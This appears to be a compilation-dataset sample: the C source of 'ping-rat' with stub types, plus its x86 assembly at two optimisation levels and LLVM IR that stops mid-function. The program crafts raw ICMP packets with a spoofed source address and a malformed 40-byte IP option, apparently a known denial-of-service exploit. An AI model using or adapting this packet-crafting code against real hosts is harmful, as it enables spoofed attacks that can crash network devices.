#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_10__ TYPE_5__;
typedef struct TYPE_9__ TYPE_4__;
typedef struct TYPE_8__ TYPE_3__;
typedef struct TYPE_7__ TYPE_2__;
typedef struct TYPE_6__ TYPE_1__;

/* Type definitions */
struct TYPE_8__ {
  unsigned int s_addr;
};
struct sockaddr_in {
  TYPE_3__ sin_addr;
  scalar_t__ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct protoent {
  int /*<<< orphan*/ p_proto;
};
struct TYPE_7__ {
  unsigned int s_addr;
};
struct TYPE_6__ {
  unsigned int s_addr;
};
struct ip {
  int ip_v;
  int ip_hl;
  int ip_len;
  int ip_ttl;
  int ip_p;
  void *ip_sum;
  TYPE_2__ ip_dst;
  TYPE_1__ ip_src;
  scalar_t__ ip_off;
  scalar_t__ ip_id;
  scalar_t__ ip_tos;
};
struct TYPE_9__ {
  int id;
  int sequence;
};
struct TYPE_10__ {
  TYPE_4__ echo;
};
struct icmphdr {
  int type;
  void *checksum;
  TYPE_5__ un;
  scalar_t__ code;
};
struct hostent {
  int /*<<< orphan*/ h_length;
  int /*<<< orphan*/ h_addr;
};
typedef int /*<<< orphan*/ sin;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
scalar_t__ EPERM;
int /*<<< orphan*/ IPPROTO_IP;
int /*<<< orphan*/ IP_HDRINCL;
int /*<<< orphan*/ SOCK_RAW;
void *csum(unsigned short *, int);
scalar_t__ errno;
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
struct hostent *gethostbyname(char *);
struct protoent *getprotobyname(char *);
int /*<<< orphan*/ getuid();
int /*<<< orphan*/ memcpy(unsigned int *, int /*<<< orphan*/,
                          int /*<<< orphan*/);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ perror(char *);
scalar_t__ sendto(int, char *, int, int /*<<< orphan*/, struct sockaddr *, int);
scalar_t__ setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, char *, int);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ stdout;
int main(int argc, char *argv[]) {
  char *option = 0;
  int s;
  int i;
  struct sockaddr_in sin;
  unsigned src_addr;
  char datagram[sizeof(struct ip) + sizeof(struct icmphdr) + 40];
  struct ip *iph;
  struct icmphdr *icmph;
  struct protoent *proto;
  struct hostent *dst_host;
  struct hostent *src_host;
  if (!(proto = getprotobyname("icmp"))) {
    fprintf(stderr, "ping-rat: unknown protocol icmp.\n");
    return 1;
  }
  if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) {
    if (errno == EPERM)
      fprintf(stderr, "ping-rat: ping-rat must run as root.\n");
    else
      perror("ping-rat: socket");
    return 1;
  }
  setuid(getuid());
  if (argc != 3) {
    fprintf(stderr, "Usage: %s <src ip> <dst ip>\n", argv[0]);
    return 1;
  }
  if (!(src_host = gethostbyname(argv[1]))) {
    fprintf(stderr, "ping-rat: unknown host %s\n", argv[1]);
    return 1;
  }
  memcpy(&src_addr, src_host->h_addr, src_host->h_length);
  if (!(dst_host = gethostbyname(argv[2]))) {
    fprintf(stderr, "ping-rat: unknown host %s\n", argv[2]);
    return 1;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = 0;
  memcpy(&sin.sin_addr.s_addr, dst_host->h_addr, dst_host->h_length);
  iph = (struct ip *)datagram;
  memset(datagram, 0, sizeof(struct ip) + sizeof(struct icmphdr) + 40);
  option = datagram + sizeof(struct ip);
  option[0] = 25 | 0x80;
  option[1] = 40;
  for (i = 2; i < 40; i++)
    option[i] = 0;
  iph->ip_v = 4;
  iph->ip_hl = 5 + 40 / 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof(struct ip) + sizeof(struct icmphdr) + 40;
  iph->ip_id = 0;
  iph->ip_off = 0;
  iph->ip_ttl = 127;
  iph->ip_p = 1;
  iph->ip_sum = 0;
  iph->ip_src.s_addr = src_addr;
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  iph->ip_sum = csum((unsigned short *)iph, iph->ip_len >> 1);
  icmph = (struct icmphdr *)(datagram + sizeof(struct ip) + 40);
  icmph->type = 8;
  icmph->code = 0;
  icmph->checksum = 0;
  icmph->un.echo.id = 18;
  icmph->un.echo.sequence = 33;
  icmph->checksum = csum((unsigned short *)icmph, 8 >> 1);
  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, datagram, sizeof(struct ip)) < 0) {
    perror("ping-rat: IP header");
    return 1;
  }
  if (sendto(s, datagram, iph->ip_len, 0, (struct sockaddr *)&sin,
             sizeof(sin)) < 0)
    perror("ping-rat: error sending datagram");
  else
    fprintf(stdout, "ping-rat: datagram successfully sent.\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x100,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movq   $0x0,-0x18(%rbp)
lea    0xe18(%rip),%rdi
call   10b0 <getprotobyname@plt>
mov    %rax,-0xe8(%rbp)
cmp    $0x0,%rax
jne    1221 <main+0x61>
mov    0x2dbb(%rip),%rax
mov    (%rax),%edi
lea    0xdf7(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    0x2db8(%rip),%rax
mov    (%rax),%edi
mov    0x2da7(%rip),%rax
mov    (%rax),%esi
mov    -0xe8(%rbp),%rax
mov    (%rax),%edx
call   10e0 <socket@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0x0,%eax
jge    129b <main+0xdb>
mov    0x2d64(%rip),%rax
mov    (%rax),%rax
mov    0x2d42(%rip),%rcx
cmp    (%rcx),%rax
jne    1283 <main+0xc3>
mov    0x2d52(%rip),%rax
mov    (%rax),%edi
lea    0xdb0(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
jmp    128f <main+0xcf>
lea    0xdc3(%rip),%rdi
call   10c0 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    $0x0,%al
call   1050 <getuid@plt>
mov    %eax,%edi
call   10d0 <setuid@plt>
cmpl   $0x3,-0x8(%rbp)
je     12dd <main+0x11d>
mov    0x2d06(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xd94(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1080 <gethostbyname@plt>
mov    %rax,-0xf8(%rbp)
cmp    $0x0,%rax
jne    1326 <main+0x166>
mov    0x2cbe(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdx
lea    0xd68(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    -0xf8(%rbp),%rax
mov    0x4(%rax),%esi
mov    -0xf8(%rbp),%rax
mov    (%rax),%edx
lea    -0x3c(%rbp),%rdi
call   10a0 <memcpy@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1080 <gethostbyname@plt>
mov    %rax,-0xf0(%rbp)
cmp    $0x0,%rax
jne    138b <main+0x1cb>
mov    0x2c59(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdx
lea    0xd03(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    0x2c4e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
movq   $0x0,-0x30(%rbp)
lea    -0x38(%rbp),%rdi
mov    -0xf0(%rbp),%rax
mov    0x4(%rax),%esi
mov    -0xf0(%rbp),%rax
mov    (%rax),%edx
call   10a0 <memcpy@plt>
lea    -0xd0(%rbp),%rax
mov    %rax,-0xd8(%rbp)
lea    -0xd0(%rbp),%rdi
xor    %esi,%esi
mov    $0x88,%edx
call   1060 <memset@plt>
lea    -0xd0(%rbp),%rax
add    $0x40,%rax
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rax
movb   $0x99,(%rax)
mov    -0x18(%rbp),%rax
movb   $0x28,0x1(%rax)
movl   $0x2,-0x20(%rbp)
cmpl   $0x28,-0x20(%rbp)
jge    1425 <main+0x265>
mov    -0x18(%rbp),%rax
movslq -0x20(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x20(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20(%rbp)
jmp    1401 <main+0x241>
mov    -0xd8(%rbp),%rax
movl   $0x4,(%rax)
mov    -0xd8(%rbp),%rax
movl   $0xf,0x4(%rax)
mov    -0xd8(%rbp),%rax
movq   $0x0,0x38(%rax)
mov    -0xd8(%rbp),%rax
movl   $0x88,0x8(%rax)
mov    -0xd8(%rbp),%rax
movq   $0x0,0x30(%rax)
mov    -0xd8(%rbp),%rax
movq   $0x0,0x28(%rax)
mov    -0xd8(%rbp),%rax
movl   $0x7f,0xc(%rax)
mov    -0xd8(%rbp),%rax
movl   $0x1,0x10(%rax)
mov    -0xd8(%rbp),%rax
movq   $0x0,0x18(%rax)
mov    -0x3c(%rbp),%ecx
mov    -0xd8(%rbp),%rax
mov    %ecx,0x24(%rax)
mov    -0x38(%rbp),%ecx
mov    -0xd8(%rbp),%rax
mov    %ecx,0x20(%rax)
mov    -0xd8(%rbp),%rdi
mov    -0xd8(%rbp),%rax
mov    0x8(%rax),%esi
sar    $0x1,%esi
call   1040 <csum@plt>
mov    %rax,%rcx
mov    -0xd8(%rbp),%rax
mov    %rcx,0x18(%rax)
lea    -0xd0(%rbp),%rax
add    $0x40,%rax
add    $0x28,%rax
mov    %rax,-0xe0(%rbp)
mov    -0xe0(%rbp),%rax
movl   $0x8,(%rax)
mov    -0xe0(%rbp),%rax
movq   $0x0,0x18(%rax)
mov    -0xe0(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    -0xe0(%rbp),%rax
movl   $0x12,0x10(%rax)
mov    -0xe0(%rbp),%rax
movl   $0x21,0x14(%rax)
mov    -0xe0(%rbp),%rdi
mov    $0x4,%esi
call   1040 <csum@plt>
mov    %rax,%rcx
mov    -0xe0(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0x1c(%rbp),%edi
mov    0x2a63(%rip),%rax
mov    (%rax),%esi
mov    0x2a7a(%rip),%rax
mov    (%rax),%edx
lea    -0xd0(%rbp),%rcx
mov    $0x40,%r8d
call   1030 <setsockopt@plt>
cmp    $0x0,%rax
jge    15ac <main+0x3ec>
lea    0xafb(%rip),%rdi
call   10c0 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    160a <main+0x44a>
mov    -0x1c(%rbp),%edi
lea    -0xd0(%rbp),%rsi
mov    -0xd8(%rbp),%rax
mov    0x8(%rax),%edx
lea    -0x38(%rbp),%r8
xor    %ecx,%ecx
mov    $0x18,%r9d
call   1070 <sendto@plt>
cmp    $0x0,%rax
jge    15ec <main+0x42c>
lea    0xac8(%rip),%rdi
call   10c0 <perror@plt>
jmp    1603 <main+0x443>
mov    0x29bd(%rip),%rax
mov    (%rax),%edi
lea    0xacf(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x100,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0xa8,%rsp
mov    %rsi,%rbx
mov    %edi,%ebp
lea    0xe37(%rip),%rdi
call   10b0 <getprotobyname@plt>
test   %rax,%rax
je     13b6 <main+0x1f6>
mov    0x2df2(%rip),%r15
mov    (%r15),%edi
mov    0x2de0(%rip),%rcx
mov    (%rcx),%esi
mov    (%rax),%edx
call   10e0 <socket@plt>
test   %eax,%eax
js     13c8 <main+0x208>
mov    %eax,%r14d
xor    %eax,%eax
call   1050 <getuid@plt>
mov    %eax,%edi
call   10d0 <setuid@plt>
cmp    $0x3,%ebp
jne    13f7 <main+0x237>
mov    0x8(%rbx),%rdi
call   1080 <gethostbyname@plt>
test   %rax,%rax
je     140c <main+0x24c>
mov    (%rax),%edx
mov    0x4(%rax),%esi
lea    0x4(%rsp),%rdi
call   10a0 <memcpy@plt>
mov    0x10(%rbx),%rdi
call   1080 <gethostbyname@plt>
test   %rax,%rax
je     141b <main+0x25b>
mov    (%r15),%ecx
mov    %ecx,0x18(%rsp)
movq   $0x0,0x10(%rsp)
mov    (%rax),%edx
mov    0x4(%rax),%esi
lea    0x8(%rsp),%rdi
call   10a0 <memcpy@plt>
lea    0x20(%rsp),%rbx
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x88,%edx
call   1060 <memset@plt>
movw   $0x2899,0x60(%rsp)
xorps  %xmm0,%xmm0
movups %xmm0,0x62(%rsp)
movups %xmm0,0x72(%rsp)
movq   $0x0,0x80(%rsp)
movq   $0x0,0x58(%rsp)
movups %xmm0,0x48(%rsp)
movaps 0xd42(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movl   $0x1,0x30(%rsp)
movq   $0x0,0x38(%rsp)
mov    0x4(%rsp),%eax
mov    %eax,0x44(%rsp)
mov    0x8(%rsp),%eax
mov    %eax,0x40(%rsp)
mov    %rbx,%rdi
mov    $0x44,%esi
call   1040 <csum@plt>
mov    %rax,0x38(%rsp)
lea    0x88(%rsp),%rdi
movl   $0x8,0x88(%rsp)
movq   $0x0,0xa0(%rsp)
movq   $0x0,0x90(%rsp)
movabs $0x2100000012,%rax
mov    %rax,0x98(%rsp)
mov    $0x4,%esi
call   1040 <csum@plt>
mov    %rax,0x90(%rsp)
mov    0x2c84(%rip),%rax
mov    (%rax),%esi
mov    0x2c9b(%rip),%rax
mov    (%rax),%edx
mov    %r14d,%edi
mov    %rbx,%rcx
mov    $0x40,%r8d
call   1030 <setsockopt@plt>
test   %rax,%rax
js     1454 <main+0x294>
mov    0x28(%rsp),%edx
lea    0x20(%rsp),%rsi
xor    %ebx,%ebx
lea    0x8(%rsp),%r8
mov    %r14d,%edi
xor    %ecx,%ecx
mov    $0x18,%r9d
call   1070 <sendto@plt>
test   %rax,%rax
js     1462 <main+0x2a2>
mov    0x2c0f(%rip),%rax
mov    (%rax),%edi
lea    0xd31(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
jmp    143b <main+0x27b>
mov    0x2c03(%rip),%rax
mov    (%rax),%edi
lea    0xc4f(%rip),%rsi
jmp    13ee <main+0x22e>
mov    0x2be9(%rip),%rax
mov    (%rax),%rax
mov    0x2bc7(%rip),%rcx
cmp    (%rcx),%rax
jne    144b <main+0x28b>
mov    0x2bdb(%rip),%rax
mov    (%rax),%edi
lea    0xc49(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
jmp    1436 <main+0x276>
mov    0x2bc2(%rip),%rax
mov    (%rax),%edi
mov    (%rbx),%rdx
lea    0xc64(%rip),%rsi
jmp    142f <main+0x26f>
mov    0x2bad(%rip),%rax
mov    (%rax),%edi
mov    0x8(%rbx),%rdx
jmp    1428 <main+0x268>
mov    0x2b9e(%rip),%rax
mov    (%rax),%edi
mov    0x10(%rbx),%rdx
lea    0xc5c(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x1,%ebx
mov    %ebx,%eax
add    $0xa8,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xc0b(%rip),%rdi
jmp    145b <main+0x29b>
lea    0xc4b(%rip),%rdi
call   10c0 <perror@plt>
jmp    1436 <main+0x276>
lea    0xc51(%rip),%rdi
call   10c0 <perror@plt>
jmp    143b <main+0x27b>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_8__, i64, i32 }
%struct.TYPE_8__ = type { i32 }
%struct.ip = type { i32, i32, i32, i32, i32, i8*, %struct.TYPE_7__, %struct.TYPE_6__, i64, i64, i64 }
%struct.TYPE_7__ = type { i32 }
%struct.TYPE_6__ = type { i32 }
%struct.icmphdr = type { i32, i8*, %struct.TYPE_10__, i64 }
%struct.TYPE_10__ = type { %struct.TYPE_9__ }
%struct.TYPE_9__ = type { i32, i32 }
%struct.protoent = type { i32 }
%struct.hostent = type { i32, i32 }
%struct.sockaddr = type { i32 }
@.str = [5 x i8] c"icmp\00"
@stderr = global i32 0
@.str.1 = [34 x i8] c"ping-rat: unknown protocol icmp.\0A\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@errno = global i64 0
@EPERM = global i64 0
@.str.2 = [38 x i8] c"ping-rat: ping-rat must run as root.\0A\00"
@.str.3 = [17 x i8] c"ping-rat: socket\00"
@.str.4 = [29 x i8] c"Usage: %s <src ip> <dst ip>\0A\00"
@.str.5 = [27 x i8] c"ping-rat: unknown host %s\0A\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.6 = [20 x i8] c"ping-rat: IP header\00"
@.str.7 = [33 x i8] c"ping-rat: error sending datagram\00"
@stdout = global i32 0
@.str.8 = [39 x i8] c"ping-rat: datagram successfully sent.\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i32
%9 = alloca %struct.sockaddr_in
%10 = alloca i32
%11 = alloca [136 x i8]
%12 = alloca %struct.ip*
%13 = alloca %struct.icmphdr*
%14 = alloca %struct.protoent*
%15 = alloca %struct.hostent*
%16 = alloca %struct.hostent*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i8* null, i8** %6
%17 = call %struct.protoent* @getprotobyname(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
store %struct.protoent* %17, %struct.protoent** %14
%18 = icmp ne %struct.protoent* %17, null
br i1 %18, label %22, label %19
19: ; preds = %2
%20 = load i32, i32* @stderr
%21 = call i32 (i32, i8*, ...) @fprintf(i32 %20, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0))
store i32 1, i32* %3
br label %200
22: ; preds = %2
%23 = load i32, i32* @AF_INET
%24 = load i32, i32* @SOCK_RAW
%25 = load %struct.protoent*, %struct.protoent** %14
%26 = getelementptr inbounds %struct.protoent, %struct.protoent* %25, i32 0, i32 0
%27 = load i32, i32* %26
%28 = call i32 @socket(i32 %23, i32 %24, i32 %27)
store i32 %28, i32* %7
%29 = icmp slt i32 %28, 0
br i1 %29, label %30, label %40
30: ; preds = %22
%31 = load i64, i64* @errno
%32 = load i64, i64* @EPERM
%33 = icmp eq i64 %31, %32
br i1 %33, label %34, label %37
34: ; preds = %30
%35 = load i32, i32* @stderr
%36 = call i32 (i32, i8*, ...) @fprintf(i32 %35, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.2, i64 0, i64 0))
br label %39
37: ; preds = %30
%38 = call i32 @perror(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
br label %39
39: ; preds = %37, %34
store i32 1, i32* %3
br label %200
40: ; preds = %22
%41 = call i32 (...) @getuid()
%42 = call i32 @setuid(i32 %41)
%43 = load i32, i32* %4
%44 = icmp ne i32 %43, 3
br i1 %44, label %45, label %51
45: ; preds = %40
%46 = load i32, i32* @stderr
%47 = load i8**, i8*** %5
%48 = getelementptr inbounds i8*, i8** %47, i64 0
%49 = load i8*, i8** %48
%50 = call i32 (i32, i8*, ...) @fprintf(i32 %46, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.4, i64 0, i64 0), i8* %49)
store i32 1, i32* %3
br label %200
51: ; preds = %40
%52 = load i8**, i8*** %5
%53 = getelementptr inbounds i8*, i8** %52, i64 1
%54 = load i8*, i8** %53
%55 = call %struct.hostent* @gethostbyname(i8* %54)
store %struct.hostent* %55, %struct.hostent** %16
%56 = icmp ne %struct.hostent* %55, null
br i1 %56, label %63, label %57
57: ; preds = %51
%58 = load i32, i32* @stderr
%59 = load i8**, i8*** %5
%60 = getelementptr inbounds i8*, i8** %59, i64 1
%61 = load i8*, i8** %60
%62 = call i32 (i32, i8*, ...) @fprintf(i32 %58, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i8* %61)
store i32 1, i32* %3
br label %200
63: ; preds = %51
%64 = load %struct.hostent*, %struct.hostent** %16
%65 = getelementptr inbounds %struct.hostent, %struct.hostent* %64, i32 0, i32 1
%66 = load i32, i32* %65
%67 = load %struct.hostent*, %struct.hostent** %16
%68 = getelementptr inbounds %struct.hostent, %struct.hostent* %67, i32 0, i32 0
%69 = load i32, i32* %68
%70 = call i32 @memcpy(i32* %10, i32 %66, i32 %69)
%71 = load i8**, i8*** %5
%72 = getelementptr inbounds i8*, i8** %71, i64 2
%73 = load i8*, i8** %72
%74 = call %struct.hostent* @gethostbyname(i8* %73)
store %struct.hostent* %74, %struct.hostent** %15
%75 = icmp ne %struct.hostent* %74, null
br i1 %75, label %82, label %76
76: ; preds = %63
%77 = load i32, i32* @stderr
%78 = load i8**, i8*** %5
%79 = getelementptr inbounds i8*, i8** %78, i64 2
%80 = load i8*, i8** %79
%81 = call i32 (i32, i8*, ...) @fprintf(i32 %77, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i8* %80)
store i32 1, i32* %3
br label %200
82: ; preds = %63
%83 = load i32, i32* @AF_INET
%84 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 2
store i32 %83, i32* %84
%85 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 1
store i64 0, i64* %85
%86 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 0
%87 = getelementptr inbounds %struct.TYPE_8__, %struct.TYPE_8__* %86, i32 0, i32 0
%88 = load %struct.hostent*, %struct.hostent** %15
%89 = getelementptr inbounds %struct.hostent, %struct.hostent* %88, i32 0, i32 1
%90 = load i32, i32* %89
%91 = load %struct.hostent*, %struct.hostent** %15
%92 = getelementptr inbounds %struct.hostent, %struct.hostent* %91, i32 0, i32 0
%93 = load i32, i32* %92
%94 = call i32 @memcpy(i32* %87, i32 %90, i32 %93)
%95 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%96 = bitcast i8* %95 to %struct.ip*
store %struct.ip* %96, %struct.ip** %12
%97 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%98 = call i32 @memset(i8* %97, i32 0, i32 136)
%99 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%100 = getelementptr inbounds i8, i8* %99, i64 64
store i8* %100, i8** %6
%101 = load i8*, i8** %6
%102 = getelementptr inbounds i8, i8* %101, i64 0
store i8 -103, i8* %102
%103 = load i8*, i8** %6
%104 = getelementptr inbounds i8, i8* %103, i64 1
store i8 40, i8* %104
store i32 2, i32* %8
br label %105
105: ; preds = %113, %82
%106 = load i32, i32* %8
%107 = icmp slt i32 %106, 40
br i1 %107, label %108, label %116
108: ; preds = %105
%109 = load i8*, i8** %6
%110 = load i32, i32* %8
%111 = sext i32 %110 to i64
%112 = getelementptr inbounds i8, i8* %109, i64 %111
store i8 0, i8* %112
br label %113
113: ; preds = %108
%114 = load i32, i32* %8
%115 = add nsw i32 %114, 1
store i32 %115, i32* %8
br label %105
116: ; preds = %105
%117 = load %struct.ip*, %struct.ip** %12
%118 = getelementptr inbounds %struct.ip, %struct.ip* %117, i32 0, i32 0
store i32 4, i32* %118
%119 = load %struct.ip*, %struct.ip** %12
%120 = getelementptr inbounds %struct.ip, %struct.ip* %119, i32 0, i32 1
store i32 15, i32* %120
%121 = load %struct.ip*, %struct.ip** %12
%122 = getelementptr inbounds %struct.ip, %struct.ip* %121, i32 0, i32 10
store i64 0, i64* %122
%123 = load %struct.ip*, %struct.ip** %12
%124 = getelementptr inbounds %struct.ip, %struct.ip* %123, i32 0, i32 2
store i32 136, i32* %124
%125 = load %struct.ip*, %struct.ip** %12
%126 = getelementptr inbounds %struct.ip, %struct.ip* %125, i32 0, i32 9
store i64 0, i64* %126
%127 = load %struct.ip*, %struct.ip** %12
%128 = getelementptr inbounds %struct.ip, %struct.ip* %127, i32 0, i32 8
store i64 0, i64* %128
%129 = load %struct.ip*, %struct.ip** %12
%130 = getelementptr inbounds %struct.ip, %struct.ip* %129, i32 0, i32 3
store i32 127, i32* %130
%131 = load %struct.ip*, %struct.ip** %12
%132 = getelementptr inbounds %struct.ip, %struct.ip* %131, i32 0, i32 4
store i32 1, i32* %132
%133 = load %struct.ip*, %struct.ip** %12
%134 = getelementptr inbounds %struct.ip, %struct.ip* %133, i32 0, i32 5
store i8* null, i8** %134
%135 = load i32, i32* %10
%136 = load %struct.ip*, %struct.ip** %12
%137 = getelementptr inbounds %struct.ip, %struct.ip* %136, i32 0, i32 7
%138 = getelementptr inbounds %struct.TYPE_6__, %struct.TYPE_6__* %137, i32 0, i32 0
store i32 %135, i32* %138
%139 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 0
%140 = getelementptr inbounds %struct.TYPE_8__, %struct.TYPE_8__* %139, i32 0, i32 0
%141 = load i32, i32* %140
%142 = load %struct.ip*, %struct.ip** %12
%143 = getelementptr inbounds %struct.ip, %struct.ip* %142, i32 0, i32 6
%144 = getelementptr inbounds %struct.TYPE_7__, %struct.TYPE_7__* %143, i32 0, i32 0
store i32 %141, i32* %144
%145 = load %struct.ip*, %struct.ip** %12
%146 = bitcast %struct.ip* %145 to i16*
%147 = load %struct.ip*, %struct.ip** %12
%148 = getelementptr inbounds %struct.ip, %struct.ip* %147, i32 0, i32 2
%149 = load i32, i32* %148
%150 = ashr i32 %149, 1
%151 = call i8* @csum(i16* %146, i32 %150)
%152 = load %struct.ip*, %struct.ip** %12
%153 = getelementptr inbounds %struct.ip, %struct.ip* %152, i32 0, i32 5
store i8* %151, i8** %153
%154 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%155 = getelementptr inbounds i8, i8* %154, i64 64
%156 = getelementptr inbounds i8, i8* %155, i64 40
%157 = bitcast i8* %156 to %struct.icmphdr*
store %struct.icmphdr* %157, %struct.icmphdr** %13
%158 = load %struct.icmphdr*, %struct.icmphdr** %13
%159 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %158, i32 0, i32 0
store i32 8, i32* %159
%160 = load %struct.icmphdr*, %struct.icmphdr** %13
%161 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %160, i32 0, i32 3
store i64 0, i64* %161
%162 = load %struct.icmphdr*, %struct.icmphdr** %13
%163 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %162, i32 0, i32 1
store i8* null, i8** %163
%164 = load %struct.icmphdr*, %struct.icmphdr** %13
%165 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %164, i32 0, i32 2
%166 = getelementptr inbounds %struct.TYPE_10__, %struct.TYPE_10__* %165, i32 0, i32 0
%167 = getelementptr inbounds %struct.TYPE_9__, %struct.TYPE_9__* %166, i32 0, i32 0
store i32 18, i32* %167
%168 = load %struct.icmphdr*, %struct.icmphdr** %13
%169 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %168, i32 0, i32 2
%170 = getelementptr inbounds %struct.TYPE_10__, %struct.TYPE_10__* %169, i32 0, i32 0
%171 = getelementptr inbounds %struct.TYPE_9__, %struct.TYPE_9__* %170, i32 0, i32 1
store i32 33, i32* %171
%172 = load %struct.icmphdr*, %struct.icmphdr** %13
%173 = bitcast %struct.icmphdr* %172 to i16*
%174 = call i8* @csum(i16* %173, i32 4)
%175 = load %struct.icmphdr*, %struct.icmphdr** %13
%176 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %175, i32 0, i32 1
store i8* %174, i8** %176
%177 = load i32, i32* %7
%178 = load i32, i32* @IPPROTO_IP
%179 = load i32, i32* @IP_HDRINCL
%180 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%181 = call i64 @setsockopt(i32 %177, i32 %178, i32 %179, i8* %180, i32 64)
%182 = icmp slt i64 %181, 0
br i1 %182, label %183, label %185
183: ; preds = %116
%184 = call i32 @perror(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
store i32 1, i32* %3
br label %200
185: ; preds = %116
%186 = load i32, i32* %7
%187 = getelementptr inbounds [136 x i8], [136 x i8]* %11, i64 0, i64 0
%188 = load %struct.ip*, %struct.ip** %12
%189 = getelementptr inbounds %struct.ip, %struct.ip* %188, i32 0, i32 2
%190 = load i32, i32* %189
%191 = bitcast %struct.sockaddr_in* %9 to %struct.sockaddr*
%192 = call i64 @sendto(i32 %186, i8* %187, i32 %190, i32 0, %struct.sockaddr* %191, i32 24)
%193 = icmp slt i64 %192, 0
br i1 %193, label %194, label %196
194: ; preds = %185
%195 = call i32 @perror(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.7, i64 0, i64 0))
br label %199
196: ; preds = %185
%197 = load i32, i32* @stdout
